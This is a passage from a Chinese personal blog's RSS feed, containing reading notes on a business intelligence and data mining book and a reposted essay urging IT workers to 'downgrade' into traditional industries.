&lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/09/14/P2P_PNPR.html&#34;&gt;专题八：P2P编程&lt;/a&gt;
&lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/09/23/QQ_P2P.html&#34;&gt;专题九：实现类似QQ的即时通信程序&lt;/a&gt;
&lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/09/24/MailSend_POP3_SMTP.html&#34;&gt;专题十：实现简单的邮件收发器&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>《商务智能与数据挖掘-谢邦昌》第一章读书笔记</title>
      <link>http://blog.leaver.me/2012/09/19/%E5%95%86%E5%8A%A1%E6%99%BA%E8%83%BD%E4%B8%8E%E6%95%B0%E6%8D%AE%E6%8C%96%E6%8E%98-%E8%B0%A2%E9%82%A6%E6%98%8C%E7%AC%AC%E4%B8%80%E7%AB%A0%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/</link>
      <pubDate>Wed, 19 Sep 2012 08:00:34 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/19/%E5%95%86%E5%8A%A1%E6%99%BA%E8%83%BD%E4%B8%8E%E6%95%B0%E6%8D%AE%E6%8C%96%E6%8E%98-%E8%B0%A2%E9%82%A6%E6%98%8C%E7%AC%AC%E4%B8%80%E7%AB%A0%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/</guid>
      <description>&lt;p&gt;　　1.绪论&lt;/p&gt;
&lt;p&gt;　　商务智能的含义就是指通过企业所拥有的数据和数据仓库的汇总，结合联机分析及数据挖掘技术挖掘出潜藏在数据库中的有用信息，并将其提供给决策者或部门主管作为平时运营的决策依据。而当企业面临危机时或必须立即做出重大决策时，也能依据数据仓库所提供的正确数据及时作出正确的决策。协助企业顺利解决问题。化危机为转机。更可见商务智能的重要性。&lt;/p&gt;
&lt;p&gt;　　商务智能应用的几个方面&lt;/p&gt;
&lt;p&gt;　　对于一般企业来说，商务智能主要应用在以下几个方面。1.了解运营状况，2.衡量绩效。3.改善关系。4.创造获利机会。&lt;/p&gt;
&lt;p&gt;　　企业引用商务智能的流程&lt;/p&gt;
&lt;p&gt;　　&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27358_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/&#34; title=&#34;流程图&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　商务智能的核心：根据企业数据库整合成可以作为分析用的数据仓库。再进一步通过分析技术来探索数据。&lt;/p&gt;
&lt;p&gt;　　《Building the Data Warehouse》的作者William Inmon认为数据仓库必须具有面对主题，整合性，时间转化，不易变化四个特性。&lt;/p&gt;
&lt;p&gt;　　联机分析简单来说就是能让用户根据本身决策需求来浏览数据。动态且实时的产生其所需的报表，以提高分析效率的技术。事实上，他除了能提供在线实时数据分析模块外，更重要的是能展示多维度的数据。&lt;/p&gt;
&lt;p&gt;　　商务智能的另一项重要技术：数据挖掘：是指在大量数据库中寻找有意义或是有价值的信息的过程。通过机器学习技术或是统计分析方法论。根据整合的数据加以分析探索，发掘出隐含在数据中的特性。通过专业领域知识整合及分析。从中找出合理且有用的信息，经过相关部门针对该模型的评估后，再提供给相关决策单位加以运用。&lt;/p&gt;
&lt;p&gt;　　企业间的竞争模式，从传统的“红海策略”，即采取压低成本与价格的杀价流血竞争。到近来倡导以创新为核心竞争力的“蓝海策略”，不论哪一种策略模式，都是不断地从研发，制造，营销，客服或资源配置等运营的相关问题上。寻求问题的发生原因，并尝试找出解决方案，而运营阶段中，陆续积累的庞大数据，往往就是答案的隐身之处。这也是数据挖掘的目的。&lt;/p&gt;
&lt;p&gt;　　数据库仓库强大而实用，但有一个局限性。就是他实质上反映的过去的历史，由于数据仓库经常在特定周期或时间点进行加载和处理。因此他只是表示一个时间点上的快照。即使构建了实时或是近似实时的数据仓库，其数据仍然只表示当前和历史的数据。无法达到预测的需要。与传统的统计分析方法不同的是，数据挖掘不是让人提出假设。然后据此去找相关数据。而是让数据仓库确定数据相关性。并允许采用与以往不同的模式对数据进行分析。&lt;/p&gt;</description>
    </item>
    <item>
      <title>降级论</title>
      <link>http://blog.leaver.me/2012/07/07/%E9%99%8D%E7%BA%A7%E8%AE%BA/</link>
      <pubDate>Sat, 07 Jul 2012 22:37:11 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/07/07/%E9%99%8D%E7%BA%A7%E8%AE%BA/</guid>
      <description>&lt;p&gt;　　相当精彩的一篇文章『&lt;a href=&#34;http://meditic.com/degrading-for-success/&#34;&gt;降级论&lt;/a&gt;』，收藏分享。精彩的部分突出显示了。&lt;/p&gt;
&lt;p&gt;　　几乎一年没有写博客了，说没时间那是借口，唯一的原因是，年纪越大越发觉自己肤浅。有些想法还没提笔，就发现很幼稚，就不敢发出来贻笑大方了。这次先给大家说个小故事：&lt;/p&gt;
&lt;p&gt;　　从前有三个屌丝，聚在一起做网络，提供免费的网络服务，砸锅卖铁，通宵达旦，除了卖肾啥都做了。3年后终于做到了五百万用户，对于年轻人来说，能把五百万人玩弄于鼓掌之间，已经是很牛逼轰轰的事了，不过用户越多，成本越高，每年服务器、带宽租金、房租水电、广告运营等成本，已经达到了十七八万，屌丝们不得不面对一个终极问题：如何盈利？&lt;/p&gt;
&lt;p&gt;　　屌丝们定了三盘沙县水饺，围着一箱子的冰啤酒开始计算：按照最近一月的登陆情况来看，四百万个账号已经不活跃了，真正有商业价值的只有一百万人，如 果开通xx功能，收点高级会员费，让其中1%的人升级为高级会员，每年付30块钱年费，那么每年收入就是100万x1%x30元=30万元！不错嘛， 扣除十七八万的运营成本，还剩毛利润12万，每个屌丝年底能分到4万大洋，如果按照打工者的算法，这三个人每人月薪3333元，木有奖金，木有津贴、木有任何福利，上班还得带自家的电脑。&lt;/p&gt;
&lt;p&gt;　　尽管如此，屌丝们还是激动得热泪盈眶：老子有钱啦！老子有钱啦！！！那一夜，人们看到三个发疯的屌丝在屋顶翩翩起舞。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;韩寒说，中国人民是最有忍耐力的族群，一点好处就感激涕零。他一定不知道，IT创业界里的屌丝，才是这群傻逼中的战斗机。他们可以平静地忍受每年都持续亏钱，而且还能信心十足的对所有人说公司的状态非常好，如果有一天居然收支平衡了，他们会激动的趁夜难眠，比北朝鲜倒掉还开心。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;　　本文开头的三个屌丝，其实是非常幸运的，至少能做到月薪3333元。大部分的屌丝在第一年做到几万用户的时候就会挂掉，原因众多，最主要要的是意志太弱，受不了最初的寂寞；意志稍微坚强点的会在第二年第三年慢慢挂掉，原因主要是资金断裂、团队分裂；能成功熬到第四年还没饿死、还没被口水淹死、还没被肠胃病颈椎病腰肌劳损折磨死的，甚至员工不减反增的，基本上属于神仙级别了。&lt;/p&gt;
&lt;p&gt;　　我为什么要说三个屌丝的故事呢。首先是因为这是身边每天都在发生的故事，其次是因为感到可惜，&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;IT界在我眼里一直是一个无比高级的职业，聚集着全球最聪明、最富有的人类精英。以IT创业界的青年们的智商，他们可以做成任何一件事情，包括改造银行到制造汽车到发射航天飞机 。结果这帮人却整天在蓬头垢面得为3k的月薪而挣扎，太悲催了。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;　　为什么用悲催这个词？ 如果一个人生下来就在山沟沟里，一辈子都没机会去见什么好东西，这不叫悲催，这只叫苦难；&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;而如果一个人生出来有一个奇怪的特异功能：皮肤出来的汗水会凝结成昂贵的水晶，本来只靠出汗就能赚钱，结果这傻逼居然觉得出汗这个行为太低级，做手术把自己的汗腺全给切了，而且丝毫没有意识到他做了什么傻事，这才叫真的悲催。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;　　我们IT界中的很多人，生下来就是有这个出汗成水晶的特异功能的，正是因为这种与众不同，这群人能混入牛逼的大学，整天打网游还能写出像样的毕业论文， 拿到学位，进外企，考CPA，做咨询、做证券分析，研究高分子材料，做电子商务，做云计算。。。一级一级的上升，直到有一天，发现身边的人里，已经没有一个不是CPA，不是咨询师，不是高级研究员了，身边的人全是业界精英，个个都超级强悍。在这个所谓的高级圈子里，自己并没有任何过人之处，只不过是just another analyst而已。在高级圈子里拼的头破血流，最后也只能混到给台湾人整理数据而已。莫然回首，发现当年的血气方刚、年少时的无限梦想，进化成了一身肥胖的赘肉。这个时候，有个旁观者说：“升级到头了，该降级了”&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;当一个社会疯狂鼓吹快节奏的时候，一定需要有人来宣扬慢生活；当全社会跟打了鸡血似的吹捧升级的时候，一定需要有人来说说降级论。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;　　IT青年们喜欢打游戏，喜欢升级。他们的人生也和游戏一样，沉醉于不停的升级中，不仅喜欢升级自己手上的技术，把MySql改成MongoDB，把Apache升级为Nginx，在Mac上装Ubuntu，Ubuntu里再装个虚拟机去跑Mac OS。。。IT青年们也喜欢升级自己的人生，从程序员升级到项目经理，再升级到技术总监或产品总监，再升级到合伙人。。。&lt;/p&gt;
&lt;p&gt;　　在不断追求升级的过程中，所面临的一个很大事实是：当一个人从A刚升级到A+级的时候，其实这个人的能力层级依然只是A的层级，还未胜任A+的层级，他必须要到A+的后期，才可以胜任A+。就好像一个高中生，高考完之后，虽然理论上已经属于大学生了，但是他的实际能力依然只是高三毕业的水平，除非他全部pass了大一的期末考试。同样的道理，&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;这个世界上有很多人的身份和称谓，都是在描述“未来的自己”，而不是现在的自己。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;当你从销售员升级为销售经理的时候，你自我感觉很好：“我现在是销售经理了”，但是这个时候 ，你并未通过公司对你作为销售经理这一年的工作成果的考核，你只是一个“未来可能是合格的销售经理”的前身。如果年终考核你失败了，那么这一年最准确的描述是：一个销售员，占了整整一年销售经理的位子，最后失败了。而且这一年一定会过的很累，因为通过考核的其他销售经理，才是真正胜任这个层级的人，跟一帮真正属于这个圈子的人厮杀，就好像拳击馆里当陪练的小角色，去和泰森比了一年的武，怎么可能不累呢？&lt;/p&gt;
&lt;p&gt;　　当我07年进入互联网行业的时候，就是那个拳击馆里陪练的小角色，我被迫去跟全国各地的泰森比拼，结果累的半死。后来我开始反思最初的目标，为什么要在自己身上挂一个“拳击高手”的招牌，被那么多泰森追着打？ 我把这块招牌卸了，找个完全没练武的人去比拼，不是更容易赢么？于是果断照做，去找了一个没人懂拳击的小乡村，做了纯英文的Tucia.com(需翻墙)，只做国外的业务。在那个地方，作为一个知名武馆的拳击小陪练，我成了村子里拳击技术最高超的人，受人仰慕，还开武馆教人拳击，活的非常滋润，而且在教人拳击的过程中，自己的拳术也比以前提高了很多，发展出一套属于自己的拳法，我虽然进不了泰森们的大圈子，但他们也进不了我的小圈子。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;关于圈子，有一个很赤裸裸的现实：不会是你进入圈子，只能是圈子进入你。很多人会四处找关系，“帮我介绍给xxx吧，我想进入你们的圈子”，这样的人是永远进不去这个圈子的，因为圈子的天性是，永远追求更高一个层级的人。而我们的大部分人，其实都在以低一级的属性，占着更高一级的位子，徘徊在更高一级的圈子边缘，与更高一级的人竞争，幻想着自己可以升级到那个圈子里去。也许永远进不去，悲催的努力一辈子；也许运气好，某一天真的进入这个圈子了，但那个时候又会有下一个目标，希望进入更高级的圈子，这是一场没有终点的战斗。永远的追求升级，永远的累。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;　　有没有想过降级呢？&lt;/p&gt;
&lt;p&gt;　　如果一个来自微软的高级工程师，辞职去一个养猪场做开放平台经理，那么他的到来不仅会让养猪圈感到无比荣幸，更是意味着，利用他在IT界训练出来的高效工作方式和逻辑思维能力，他可以掀起一场养猪行业的革命，使得20年后才会出现的人性、高效、开放、协作、健康的养殖方式提前到达。在这场革命中，他会活的非常有价值。这种价值，在原先的圈子里，是完全体验不到的，因为他此前的所有工作，只是在满身疮痍的windows系统上不停的打补丁，无论打多少都逃不开产品衰落、被人鄙视的命运。&lt;/p&gt;
&lt;p&gt;　　很多人的命运，都像是上面那个微软工程师。只需要降级，就能创造更大的价值，也能获得更大的满足。那为什么不呢？为什么要死死抱着那个所谓的“高级职业”不放呢？&lt;/p&gt;
&lt;p&gt;　　去年我曾犯贱去趟了移动互联网的浑水，做了个手机app，刚开始的时候感觉很高级，但很快，铺天盖地的竞争对手就出现了，我又发现自己陷入了07年一样的场景：作为一个小小陪练，我他妈的又被一帮泰森们给围住了。当泰森中的战斗机&amp;mdash;微信，变得无比牛逼之后，我就知道，战胜这群泰森是绝对不可能的事情了。于是我再次投靠了“降级论”，把自己从牛逼哄哄的移动互联网行业，降级到了一个被人不齿的低级项目：Tucia Baby。&lt;/p&gt;
&lt;p&gt;　　这个项目虽然是传统行业，但是我们基本上是按照互联网产品的思路去做的，除了拍摄需要来店里以外，其他一切，包括营销、预约、客服、后期、选片、取片、客户关系等，所有环节都放在网络上，尤其是微博（@tuciababy官网）。当然，最重要的是，作为一个脑残的果粉，我按照iPhone的做工和品质去要求每一张作品，必须达到我们能力可以做到的最好水准，不计成本的最好水准，才允许送给客户。正式接客不到两个月时间，虽然还远未达到成功，但目前已做到每天都有客户订单，财务上已实现盈利，未来相信一定会比大部分app开发者更光明。（ps:我们没有请工商、税务、城管去吃饭喝酒泡桑拿，也没有塞钱给任何政府机关。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;当你的产品真的用心做到很好的时候，其实你不需要讨好任何人的。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;）&lt;/p&gt;
&lt;p&gt;　　这个项目让我沉思了很久：07年我曾把一个纯纯的web2.0网站做到了alexa中国区前1000名（如有质疑，请查询2010年附近的tucia.com排名），结果一路亏损，到最后只剩下一个员工；11年我把那个纯纯的app做到苹果官方推荐区免费榜的第一位（点此看截图），那段时间每天四五千iPhone安装量，结果一路烧钱，到最后濒临关闭；而如今，我只需把自己从纯纯的互联网降级下来，做一些看起来有些“低级”的项目，居然就能立即实现收支平衡。&lt;/p&gt;
&lt;p&gt;　　除此以外，我还发现一个现象，&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;中国消费者在与奸商们的长期斗争中，已经培养出了一种非常苦B的品质：只要不被坑，他就谢天谢地。如果商家严格做到了承诺的每一件事情，客户就会感动的泪如泉涌。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;如果商家不仅做到了所有承诺的事情，还很贴心的提供了一些额外的服务（比如我们给每位客户赠送非常好吃的樱桃和昂贵的进口巧克力作为甜点），那么客户就会激动的哭天喊地、奔走相告，推荐给他认识的每一个人。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;其实这片肮脏的国土，就是上天赐予IT青年们的最好机会。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;　　在一个不会练武的村子里，只要你会打两拳，你就是拳术最厉害的人；在一个没有服务意识、忽视产品质量的土地上，只要你用心做服务，用最高的标准去要求自己，你就会成为这块土地上最出色的商家；在一个没有现代管理意识，不懂网络、不懂微博、不懂用户体验、不懂口碑传播的粗犷社会里，你只需要把之前花在IT产品上的心思的10%拿过来用，就可以秒杀一切天朝对手。&lt;/p&gt;
&lt;p&gt;　　所以，&lt;/p&gt;
&lt;p&gt;　　IT青年们，当你在为网站的转化率苦苦思索的时候，当你在为app的活跃度辗转反侧的时候，当你在为融资计划苦苦哀求各界大佬引荐的时候，也许犯了一个错误，也许你们的脑子最值得闪光的地方，不是去悲催的IT界当炮灰，而应该是去按摩界、餐饮界、烧烤界、早餐界、理发界、家政界、按摩界、送花界、纺织界、成人用品界、现代化养殖界、有机蔬果界、个人护理界、汽车修理界。。。。与IT界相比，这些行业的确无比低级，他们的老板连qq都会发音成“抠抠”，他们的员工一辈子都没用过Email；跟他们解释什么是SEO，什么是用户体验，什么是数据挖掘，他们会在听你说完之前就开枪自杀掉。正是因为如此，这些行业才是如此的不堪一击。正是因为如此，当智商高达147的IT青年还在为3k薪水拼命、而智商不到50的烧烤店老板正坐在porsche里玩着前面那位青年开发的app的时候，我就忍不住仰望星空。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;这些原始而纯粹的行业，正在等待IT精英们的降级，如同蒲公英一般的伞兵，在黑夜里从天而降，长驱直入，用最智慧的产品、最优质的服务拯救这些早就该死的行业，屌丝的生命将会绽放出银色的羽翼，无比丰满，无比性感。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;　　最后注意，请珍惜生命，远离我的微博：@meditic&lt;/p&gt;</description>
    </item>
  </channel>
</rss>
